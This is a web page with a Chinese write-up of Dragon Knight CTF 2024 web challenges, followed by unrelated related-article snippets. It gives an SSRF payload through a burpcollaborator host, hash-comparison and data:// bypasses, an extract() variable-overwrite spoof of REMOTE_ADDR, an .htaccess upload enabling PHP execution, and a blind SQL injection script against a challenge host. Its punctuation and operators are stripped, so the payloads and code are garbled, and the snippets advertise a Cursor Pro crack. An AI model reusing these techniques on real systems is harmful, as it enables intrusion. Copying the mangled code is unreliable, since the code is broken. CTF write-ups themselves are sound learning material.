当前位置: 首页 > article >正文

Dragon Knight CTF 2024 实战复盘:从SSRF到SQL注入的完整攻防解析

1. SSRF漏洞的发现与利用在Dragon Knight CTF 2024的Web赛题中我们首先遇到了一个典型的SSRF服务器端请求伪造漏洞。这个漏洞隐藏在c3s4f.php文件中通过简单的F12开发者工具检查就能发现端倪。我习惯性地先查看页面源代码发现了一个有趣的提示。这明显是在引导我们进行参数fuzz测试。这里推荐一个超好用的工具Arjun在Kali Linux中只需要执行pip install Arjun就能安装。实测下来这个工具在发现隐藏参数方面表现非常稳定。很快我们就fuzz出了一个关键参数shell。尝试用GET方式提交这个参数时页面返回了一个经典的XXF外部实体注入响应。不过无论怎么修改IP地址为127.0.0.1都没有新的发现。这时候我决定扫描一下目录果然发现了一个secret.php文件。构造payload的过程很有意思c3s4f.php?shellhttp://spoofed.burpcollaborator.net/secret.php这个payload成功触发了SSRF漏洞让我们获取到了下一关的密钥和地址。这里的关键是要理解服务器是如何处理这个shell参数的它显然没有对内部请求做足够的限制。2. 文件上传与变量覆盖技巧拿到源代码后我发现了三个挑战关卡。第一个挑战使用了file_get_contents()函数这让我立刻想到了用data协议来绕过DrKndata://text/plain,MSIBLG第二个挑战涉及到MD4哈希的弱类型比较。经过多次尝试最终使用的payload是M_ore.80e001233333333333334557778889这里有个坑点下划线_被过滤了需要特别注意。第三个挑战要求我们找到两个不同的字符串但它们的MD5值相同。这种碰撞在CTF中很常见我直接使用了经典的数组绕过技巧user[]apass[]b3. 本地文件包含与伪造成员在另一个赛题中我们发现了index.php.bak文件这给了我们源代码。代码中有一个明显的变量覆盖漏洞extract($_GET);利用这个漏洞我们可以伪造$_SERVER[REMOTE_ADDR]?_SERVER[REMOTE_ADDR]127.0.0.1文件上传功能也有趣虽然上传了PHP文件但无法直接访问。这时候需要上传一个.htaccess文件来开启PHP解析php_flag engine on AddType application/x-httpd-php .php4. SQL盲注的完整绕过最后的登录页面存在SQL注入但过滤了很多关键词unionif比较运算符,concat空格我采用了布尔盲注的方式用注释/**/代替空格最终写了一个Python脚本来自动化这个过程import requests import base64 import json url http://challenge.qsnctf.com:30642/ str1 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}#$\()*,-./:;?[\\]^|~_!% def request(username): # 注册、登录、获取信息的完整流程 ... def database_name(length): name for idx in range(1,length1): for char in str1: payload adminand substr(database(),{},1){}#.format(idx,char) payload payload.replace( ,/**/) res request(payload) if No user found not in res: name char print(name) break这个脚本逐步爆破出了数据库名、表名、列名最终获取到了flag。整个过程虽然耗时但在CTF比赛中这种系统化的方法往往最可靠。5. 防御措施与经验总结从防御角度看这场比赛暴露了几个常见问题SSRF防护应该限制服务器能请求的URL范围禁用危险的URL协议如file://, gopher://使用白名单验证请求目标文件上传安全检查文件内容而不仅是扩展名随机化上传文件名禁用.htaccess覆盖SQL注入防护使用预处理语句实施最小权限原则过滤特殊字符要全面在实际CTF比赛中我发现最有效的策略是先全面收集信息源代码、文件目录注意每个异常的响应善用工具但不要过度依赖保持耐心一步步验证每个猜想这次比赛让我对Web安全的攻防有了更深的理解特别是在面对多重过滤时的绕过技巧。记住每个安全限制都可能存在意想不到的绕过方式关键在于保持创造力和系统化的测试方法。

相关文章:

Dragon Knight CTF 2024 实战复盘:从SSRF到SQL注入的完整攻防解析

1. SSRF漏洞的发现与利用 在Dragon Knight CTF 2024的Web赛题中,我们首先遇到了一个典型的SSRF(服务器端请求伪造)漏洞。这个漏洞隐藏在c3s4f.php文件中,通过简单的F12开发者工具检查就能发现端倪。 我习惯性地先查看页面源代码…...

RevokeMsgPatcher深度解析:二进制补丁技术如何永久保存即时通讯消息

RevokeMsgPatcher深度解析:二进制补丁技术如何永久保存即时通讯消息 【免费下载链接】RevokeMsgPatcher :trollface: A hex editor for WeChat/QQ/TIM - PC版微信/QQ/TIM防撤回补丁(我已经看到了,撤回也没用了) 项目地址: https…...

计算机毕设 java 基于 Hadoop 平台的电影推荐系统 9java 基于 Hadoop 的智能电影个性化推荐系统 java 基于 Hadoop 平台的电影精准推荐平台

计算机毕设 java 基于 Hadoop 平台的电影推荐系统 541039(配套有源码 程序 mysql 数据库 论文)本套源码可以先看具体功能演示视频领取,文末有联 xi 可分享随着影视行业的快速发展和互联网视频平台的普及,海量电影资源让用户面临 “…...

LIBERO Benchmark自定义任务避坑指南:手把手教你从零构建厨房场景的BDDL文件

LIBERO Benchmark厨房任务BDDL实战:从场景拆解到避坑全流程 当你第一次打开LIBERO Benchmark的文档,面对那些复杂的项目结构和晦涩的术语时,是否感到无从下手?本文将以一个具体的厨房场景任务为例——"打开橱柜放入杯子&quo…...

Qwen3-Reranker-8B保姆级教程:开源镜像免配置快速部署指南

Qwen3-Reranker-8B保姆级教程:开源镜像免配置快速部署指南 你是不是也遇到过这样的问题:面对海量的搜索结果或文档列表,不知道哪一条才是真正相关的?传统的搜索排序往往不够精准,而自己搭建一个智能的“重排序”模型&…...

终极魔兽争霸III优化工具:WarcraftHelper完整配置指南

终极魔兽争霸III优化工具:WarcraftHelper完整配置指南 【免费下载链接】WarcraftHelper Warcraft III Helper , support 1.20e, 1.24e, 1.26a, 1.27a, 1.27b 项目地址: https://gitcode.com/gh_mirrors/wa/WarcraftHelper 魔兽争霸III作为经典即时战略游戏&a…...

别再只会用Ettercap了!手把手教你用Python+Scapy从零写一个ARP欺骗脚本(附完整代码)

从零构建ARP欺骗工具:用PythonScapy深入理解网络协议安全 在网络安全领域,ARP欺骗一直是最基础却又最危险的攻击手段之一。大多数初学者会直接使用现成的工具如Ettercap进行实验,但这往往停留在"知其然"的层面。本文将带你从协议层…...

OpCore Simplify:突破性黑苹果OpenCore配置自动化工具终极指南

OpCore Simplify:突破性黑苹果OpenCore配置自动化工具终极指南 【免费下载链接】OpCore-Simplify A tool designed to simplify the creation of OpenCore EFI 项目地址: https://gitcode.com/GitHub_Trending/op/OpCore-Simplify OpCore Simplify是一款革命…...

如何快速激活Cursor Pro:免费VIP完整教程与破解工具详解

如何快速激活Cursor Pro:免费VIP完整教程与破解工具详解 【免费下载链接】cursor-free-vip [Support 0.45](Multi Language 多语言)自动注册 Cursor Ai ,自动重置机器ID , 免费升级使用Pro 功能: Youve reached your t…...

突破显卡限制:OptiScaler开源工具重新定义跨硬件上采样技术

突破显卡限制:OptiScaler开源工具重新定义跨硬件上采样技术 【免费下载链接】OptiScaler DLSS replacement for AMD/Intel/Nvidia cards with multiple upscalers (XeSS/FSR2/DLSS) 项目地址: https://gitcode.com/GitHub_Trending/op/OptiScaler 在PC游戏领…...

从‘分式规划’到‘加减法’:二次变换如何成为通信优化工程师的‘瑞士军刀’

从‘分式规划’到‘加减法’:二次变换如何成为通信优化工程师的‘瑞士军刀’ 通信系统优化中,工程师常遇到一类令人头疼的问题:目标函数是分式形式,且分子分母都包含待优化变量。这类问题在能效优化、频谱效率提升等场景中尤为常见…...

别再傻傻分不清了!AUTOSAR里那三种接口到底怎么用?

AUTOSAR接口全解析:从快递员到内部电话的通信哲学 刚接触AUTOSAR的工程师们,面对琳琅满目的接口类型时,是否常有种"明明每个字都认识,连起来却看不懂"的困惑?就像第一次走进高级餐厅,面对三种看…...

Wan2.2-I2V-A14B镜像部署教程:无需conda/pip,纯脚本一键启动

Wan2.2-I2V-A14B镜像部署教程:无需conda/pip,纯脚本一键启动 1. 镜像概述与核心优势 Wan2.2-I2V-A14B是一款专为文生视频任务优化的私有部署镜像,特别针对RTX 4090D 24GB显存显卡进行了深度优化。这个镜像的最大特点是开箱即用,…...

威联通NAS结合阿里云实现安全远程访问:域名与SSL证书全流程配置

1. 为什么需要为威联通NAS配置域名和SSL证书? 很多朋友买了威联通NAS后都会遇到一个头疼的问题:怎么在外面也能安全地访问家里的NAS?直接暴露IP地址不仅难记,还存在安全隐患。我刚开始用NAS时也踩过不少坑,后来发现用阿…...

掌握串口数据可视化:用Serial Port Plotter实时监控硬件数据

掌握串口数据可视化:用Serial Port Plotter实时监控硬件数据 【免费下载链接】serial_port_plotter Displays real time data from serial port 项目地址: https://gitcode.com/gh_mirrors/se/serial_port_plotter 在嵌入式开发和硬件调试的世界里&#xff0…...

用快马平台十分钟复刻notepad++:打造你的轻量级web代码编辑器原型

今天尝试用InsCode(快马)平台快速复刻一个Notepad风格的Web代码编辑器原型,整个过程比想象中顺利很多。作为一个经常需要临时测试代码片段的开发者,这种轻量级工具特别适合快速验证想法。 确定核心功能框架 首先梳理了Notepad最常用的几个功能&#xff1…...

3大突破解决3D建模痛点:QRemeshify四边形网格重构技术全解析

3大突破解决3D建模痛点:QRemeshify四边形网格重构技术全解析 【免费下载链接】QRemeshify A Blender extension for an easy-to-use remesher that outputs good-quality quad topology 项目地址: https://gitcode.com/gh_mirrors/qr/QRemeshify 在3D建模流程…...

QQ空间历史说说备份终极攻略:3步实现数据永久保存

QQ空间历史说说备份终极攻略:3步实现数据永久保存 【免费下载链接】GetQzonehistory 获取QQ空间发布的历史说说 项目地址: https://gitcode.com/GitHub_Trending/ge/GetQzonehistory GetQzonehistory是一款专为QQ空间用户设计的开源数据备份工具,…...

JBoltAI视频SOP平台:山东工业“智”变新助力

在国家“十五五”发展规划强调“人工智能”工业融合的背景下,山东省及威海市的工业制造业企业正迎来智能化转型的关键期。山东向量空间人工智能科技有限公司推出的JBoltAI工业数智化SOP管理平台,凭借其独特优势,正成为推动这一转型的重要力量…...

老旧设备重生计划:Windows 11绕过系统限制的安全安装指南

老旧设备重生计划:Windows 11绕过系统限制的安全安装指南 【免费下载链接】rufus The Reliable USB Formatting Utility 项目地址: https://gitcode.com/GitHub_Trending/ru/rufus 想让你的老旧电脑也能流畅运行Windows 11吗?本文将为你提供一套完…...

Stable Diffusion v1.5保姆级教程:输入英文描述,轻松生成专属AI画作

Stable Diffusion v1.5保姆级教程:输入英文描述,轻松生成专属AI画作 想体验AI绘画的魅力,却担心操作复杂、门槛太高?别担心,今天这篇教程就是为你准备的。我们将手把手教你使用 Stable Diffusion v1.5 这个经典的AI绘…...

Matplotlib 函数手册:3D 绘图

Matplotlib 的三维绘图并不是一套独立系统,而是在原有 Figure、Axes 与子图机制上的扩展。三维图仍沿用标题、坐标轴标签与布局调整等基本框架,只是绘图对象从二维平面延伸到了三维空间。在较新的 Matplotlib 版本中,只要使用 projection3d 创…...

正则表达式实战:精准校验日期时间格式的五大场景

1. 为什么我们需要校验日期时间格式? 在日常开发中,数据校验是最基础也最容易出问题的一环。就拿日期时间来说,你可能遇到过用户把"2023年2月30日"这种不存在的日期提交到系统,或者日志文件里的时间戳格式五花八门&…...

别再手动配环境了!用Docker Compose一键部署GeoServer,5分钟搞定TIF影像发布

5分钟极速部署GeoServer:Docker Compose全自动化实战指南 每次新项目启动都要重复配置GeoServer?还在为环境变量和端口冲突头疼?GIS开发中最耗时的从来不是业务逻辑,而是这些本该自动化的基础设施搭建。今天我们就用Docker Compo…...

用ESP32-S3给OV2640摄像头上‘网课’:手把手实现低延迟MJPEG监控系统

基于ESP32-S3与OV2640构建低延迟MJPEG监控系统的工程实践 在物联网和边缘计算领域,实时视频监控系统的需求日益增长。本文将深入探讨如何利用ESP32-S3微控制器和OV2640摄像头模组构建一个完整的低延迟MJPEG监控系统,从硬件连接到软件优化,全…...

在普通PC上运行macOS的完整教程:OneClick macOS Simple KVM深度解析

在普通PC上运行macOS的完整教程:OneClick macOS Simple KVM深度解析 【免费下载链接】OneClick-macOS-Simple-KVM Tools to set up a easy, quick macOS VM in QEMU, accelerated by KVM. Works on Linux AND Windows. 项目地址: https://gitcode.com/gh_mirrors/…...

别再手动画流程图了!用Flowable 6.8.1 + SpringBoot 3分钟搞定请假审批系统

3分钟集成Flowable 6.8.1:SpringBoot请假审批系统实战指南 当团队需要快速上线一个请假审批模块时,传统开发方式往往需要编写大量状态流转代码。去年我们团队就遇到过这种情况——产品经理突然要求三天内上线OA系统的请假功能,而当时我们连数…...

深入解析UFS Clk Gate机制及其在低功耗设计中的应用

1. UFS Clk Gate机制入门指南 第一次听说UFS Clk Gate时,我也是一头雾水。直到在某个凌晨三点调试手机耗电问题时,才真正理解它的价值。简单来说,这就像你家里空调的智能开关——没人在房间时自动关闭,有人进来又立即开启&#xf…...

如何用Serial Port Plotter实现硬件数据可视化?4大核心功能解析

如何用Serial Port Plotter实现硬件数据可视化?4大核心功能解析 【免费下载链接】serial_port_plotter Displays real time data from serial port 项目地址: https://gitcode.com/gh_mirrors/se/serial_port_plotter 在硬件开发过程中,实时数据监…...

智能+OpenCore EFI配置工具:OpCore-Simplify让黑苹果搭建效率提升300%+

智能OpenCore EFI配置工具:OpCore-Simplify让黑苹果搭建效率提升300% 【免费下载链接】OpCore-Simplify A tool designed to simplify the creation of OpenCore EFI 项目地址: https://gitcode.com/GitHub_Trending/op/OpCore-Simplify OpCore-Simplify是一…...